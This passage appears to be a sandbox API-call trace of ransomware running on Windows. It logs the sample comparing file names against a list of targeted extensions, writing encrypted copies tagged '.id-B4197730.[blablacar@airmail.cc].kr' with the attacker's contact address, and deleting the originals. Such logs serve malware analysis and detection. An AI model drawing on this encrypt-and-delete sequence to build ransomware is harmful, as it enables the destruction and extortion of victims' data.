lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.599] WriteFile (in: hFile=0x350, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.900] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0090.355] CloseHandle (hObject=0x350) returned 1 [0091.493] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0091.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.494] lstrlenW (lpString=".doc") returned 4 [0091.494] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.494] lstrlenW (lpString=".docx") returned 5 [0091.494] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.494] lstrlenW (lpString=".pdf") returned 4 [0091.494] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.494] lstrlenW (lpString=".xls") returned 4 [0091.494] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.494] lstrlenW (lpString=".xlsx") returned 5 [0091.494] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.494] lstrlenW (lpString=".ppt") returned 4 [0091.494] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.494] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.494] lstrlenW (lpString=".zip") returned 4 [0091.494] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.494] lstrlenW (lpString=".rar") returned 4 [0091.494] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.494] lstrlenW (lpString=".bz2") returned 4 [0091.494] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.495] lstrlenW (lpString=".7z") returned 3 [0091.495] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString=".dbf") returned 4 [0091.495] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString=".1cd") returned 4 [0091.495] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString=".jpg") returned 4 [0091.495] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString=".doc") returned 4 [0091.495] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.495] lstrlenW (lpString=".docx") returned 5 [0091.495] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0091.495] lstrlenW (lpString=".pdf") returned 4 [0091.495] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.495] lstrlenW (lpString=".xls") returned 4 [0091.495] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.495] lstrlenW (lpString=".xlsx") returned 5 [0091.495] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0091.495] lstrlenW (lpString=".ppt") returned 4 [0091.495] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.495] lstrlenW (lpString=".zip") returned 4 [0091.496] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.496] lstrlenW (lpString=".rar") returned 4 [0091.496] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.496] lstrlenW (lpString=".bz2") returned 4 [0091.496] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.496] lstrlenW (lpString=".7z") returned 3 [0091.496] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.496] lstrlenW (lpString=".dbf") returned 4 [0091.496] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.496] lstrlenW (lpString=".1cd") returned 4 [0091.496] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0091.496] lstrlenW (lpString=".jpg") returned 4 [0091.496] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.496] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0091.496] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0091.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0091.497] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=495616) returned 1 [0091.497] CloseHandle (hObject=0x350) returned 1 [0091.497] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0091.497] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0091.497] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.497] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0091.497] GetLastError () returned 0x0 [0091.498] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x79000, lpOverlapped=0x0) returned 1 [0091.510] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x79010, lpOverlapped=0x0) returned 1 [0091.518] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.518] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x100, lpOverlapped=0x0) returned 1 [0091.518] SetEndOfFile (hFile=0x2b4) returned 1 [0091.519] CloseHandle (hObject=0x2b4) returned 1 [0091.962] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.962] SetEndOfFile (hFile=0x350) returned 1 [0091.966] CloseHandle (hObject=0x350) returned 1 [0091.966] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0091.966] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0091.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.967] lstrlenW (lpString=".doc") returned 4 [0091.967] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.967] lstrlenW (lpString=".docx") returned 5 [0091.967] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0091.967] lstrlenW (lpString=".pdf") returned 4 [0091.967] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.967] lstrlenW (lpString=".xls") returned 4 [0091.967] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.967] lstrlenW (lpString=".xlsx") returned 5 [0091.967] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0091.967] lstrlenW (lpString=".ppt") returned 4 [0091.967] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.967] lstrlenW (lpString=".zip") returned 4 [0091.967] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.967] lstrlenW (lpString=".rar") returned 4 [0091.967] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.968] lstrlenW (lpString=".bz2") returned 4 [0091.968] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.968] lstrlenW (lpString=".7z") returned 3 [0091.968] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.968] lstrlenW (lpString=".dbf") returned 4 [0091.968] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.968] lstrlenW (lpString=".1cd") returned 4 [0091.968] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.968] lstrlenW (lpString=".jpg") returned 4 [0091.968] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.968] lstrlenW (lpString=".doc") returned 4 [0091.968] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0091.968] lstrlenW (lpString=".docx") returned 5 [0091.968] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0091.968] lstrlenW (lpString=".pdf") returned 4 [0091.968] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0091.968] lstrlenW (lpString=".xls") returned 4 [0091.968] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0091.968] lstrlenW (lpString=".xlsx") returned 5 [0091.968] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0091.968] lstrlenW (lpString=".ppt") returned 4 [0091.968] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0091.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.969] lstrlenW (lpString=".zip") returned 4 [0091.969] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0091.969] lstrlenW (lpString=".rar") returned 4 [0091.969] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0091.969] lstrlenW (lpString=".bz2") returned 4 [0091.969] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0091.969] lstrlenW (lpString=".7z") returned 3 [0091.969] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0091.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.969] lstrlenW (lpString=".dbf") returned 4 [0091.969] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0091.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.969] lstrlenW (lpString=".1cd") returned 4 [0091.969] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0091.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0091.969] lstrlenW (lpString=".jpg") returned 4 [0091.969] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0091.969] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0091.969] lstrlenW (lpString="SetupEngine.dll") returned 15 [0091.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0091.970] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=807256) returned 1 [0091.970] CloseHandle (hObject=0x350) returned 1 [0091.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0091.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0091.970] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.970] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0091.971] GetLastError () returned 0x0 [0091.971] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0xc5158, lpOverlapped=0x0) returned 1 [0091.989] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xc5160, lpOverlapped=0x0) returned 1 [0092.512] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.512] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf2, lpOverlapped=0x0) returned 1 [0092.512] SetEndOfFile (hFile=0x2b4) returned 1 [0092.512] CloseHandle (hObject=0x2b4) returned 1 [0092.917] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.918] SetEndOfFile (hFile=0x350) returned 1 [0092.927] CloseHandle (hObject=0x350) returned 1 [0092.928] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0092.928] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0092.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.928] lstrlenW (lpString=".doc") returned 4 [0092.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString=".docx") returned 5 [0092.929] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0092.929] lstrlenW (lpString=".pdf") returned 4 [0092.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString=".xls") returned 4 [0092.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString=".xlsx") returned 5 [0092.929] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0092.929] lstrlenW (lpString=".ppt") returned 4 [0092.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.929] lstrlenW (lpString=".zip") returned 4 [0092.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString=".rar") returned 4 [0092.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.929] lstrlenW (lpString=".bz2") returned 4 [0092.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.929] lstrlenW (lpString=".7z") returned 3 [0092.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.929] lstrlenW (lpString=".dbf") returned 4 [0092.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.929] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.929] lstrlenW (lpString=".1cd") returned 4 [0092.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.930] lstrlenW (lpString=".jpg") returned 4 [0092.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.930] lstrlenW (lpString=".doc") returned 4 [0092.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString=".docx") returned 5 [0092.930] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0092.930] lstrlenW (lpString=".pdf") returned 4 [0092.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString=".xls") returned 4 [0092.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString=".xlsx") returned 5 [0092.930] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0092.930] lstrlenW (lpString=".ppt") returned 4 [0092.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.930] lstrlenW (lpString=".zip") returned 4 [0092.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.930] lstrlenW (lpString=".rar") returned 4 [0092.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.931] lstrlenW (lpString=".bz2") returned 4 [0092.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.931] lstrlenW (lpString=".7z") returned 3 [0092.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.931] lstrlenW (lpString=".dbf") returned 4 [0092.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.931] lstrlenW (lpString=".1cd") returned 4 [0092.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0092.931] lstrlenW (lpString=".jpg") returned 4 [0092.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.931] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0092.931] lstrlenW (lpString="sqmapi.dll") returned 10 [0092.931] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.932] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=144416) returned 1 [0092.932] CloseHandle (hObject=0x350) returned 1 [0092.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0092.932] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0092.932] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.932] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0092.933] GetLastError () returned 0x0 [0092.933] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x23420, lpOverlapped=0x0) returned 1 [0092.938] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x23430, lpOverlapped=0x0) returned 1 [0092.942] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.942] WriteFile (in: hFile=0x2b4, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xe8, lpOverlapped=0x0) returned 1 [0092.942] SetEndOfFile (hFile=0x2b4) returned 1 [0092.943] CloseHandle (hObject=0x2b4) returned 1 [0092.947] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.947] SetEndOfFile (hFile=0x350) returned 1 [0092.951] CloseHandle (hObject=0x350) returned 1 [0092.951] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0092.951] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0092.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.954] lstrlenW (lpString=".doc") returned 4 [0092.954] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString=".docx") returned 5 [0092.954] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0092.954] lstrlenW (lpString=".pdf") returned 4 [0092.954] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString=".xls") returned 4 [0092.954] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString=".xlsx") returned 5 [0092.954] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0092.954] lstrlenW (lpString=".ppt") returned 4 [0092.954] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.954] lstrlenW (lpString=".zip") returned 4 [0092.954] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString=".rar") returned 4 [0092.954] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.954] lstrlenW (lpString=".bz2") returned 4 [0092.954] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.954] lstrlenW (lpString=".7z") returned 3 [0092.954] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.954] lstrlenW (lpString=".dbf") returned 4 [0092.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.955] lstrlenW (lpString=".1cd") returned 4 [0092.955] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.955] lstrlenW (lpString=".jpg") returned 4 [0092.955] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.955] lstrlenW (lpString=".doc") returned 4 